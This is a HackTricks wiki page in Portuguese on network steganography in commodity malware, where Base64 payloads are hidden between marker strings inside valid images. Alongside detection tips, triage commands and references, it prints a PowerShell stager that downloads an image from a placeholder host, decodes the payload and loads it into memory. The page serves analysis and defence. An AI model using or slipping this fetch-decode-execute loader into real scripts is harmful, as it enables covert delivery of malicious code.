Malware & Network Stego

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Nem toda steganography é pixel LSB; commodity malware frequentemente esconde payloads dentro de arquivos que, de outra forma, são válidos.

Padrões práticos

Payloads delimitados por marcadores em imagens válidas

Se uma imagem é baixada e imediatamente analisada como text/Base64 por um script, o payload frequentemente é delimitado por marcadores em vez de estar escondido em pixels.

Commodity loaders cada vez mais escondem Base64 payloads como plain text dentro de imagens válidas (frequentemente GIF/PNG). Em vez de pixel-level LSB, o payload é delimitado por strings de marcadores únicas embutidas no texto/metadata do arquivo. Um stager então:

  • Faz o download da imagem via HTTP(S)
  • Localiza os marcadores de início/fim
  • Extrai o texto entre os marcadores e decodifica de Base64
  • Carrega/executa na memória

Trecho mínimo em PowerShell para carving:

$img = (New-Object Net.WebClient).DownloadString('https://example.com/p.gif')
$start = '<<sudo_png>>'; $end = '<<sudo_odt>>'
$s = $img.IndexOf($start); $e = $img.IndexOf($end)
if($s -ge 0 -and $e -gt $s){
$b64 = $img.Substring($s + $start.Length, $e - ($s + $start.Length))
$bytes = [Convert]::FromBase64String($b64)
[Reflection.Assembly]::Load($bytes) | Out-Null
}

Notas:

  • ATT&CK: T1027.003 (steganography)
  • Detecção/caça:
  • Escaneie imagens baixadas em busca de strings delimitadoras.
  • Marque scripts que fetch images e imediatamente chamem rotinas de decodificação Base64 (PowerShell FromBase64String, JS atob, etc).
  • Procure por incompatibilidades de content-type HTTP (image/* response but body contains long ASCII/Base64).

Other high-signal places to hide payloads

Estes são tipicamente mais rápidos de checar do que pixel stego:

  • Metadados: EXIF/XMP/IPTC, PNG tEXt/iTXt/zTXt, JPEG COM/APPn segments.
  • Trailing bytes: dados anexados após o marcador formal de fim (por exemplo, após PNG IEND).
  • Embedded archives: um ZIP/7z incorporado ou anexado e extraído pelo loader.
  • Polyglots: arquivos criados para serem válidos em múltiplos parsers (por exemplo, image + script + archive).

Triage commands

file sample
exiftool -a -u -g1 sample
strings -n 8 sample | head
binwalk sample
binwalk -e sample

Referências:

  • Exemplo Unit 42: https://unit42.paloaltonetworks.com/phantomvai-loader-delivers-infostealers/
  • MITRE ATT&CK: https://attack.mitre.org/techniques/T1027/003/
  • Poliglotos de formato de arquivo e truques de container: https://github.com/corkami/docs
  • Aperi’Solve (triagem stego baseada na web): https://aperisolve.com/

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks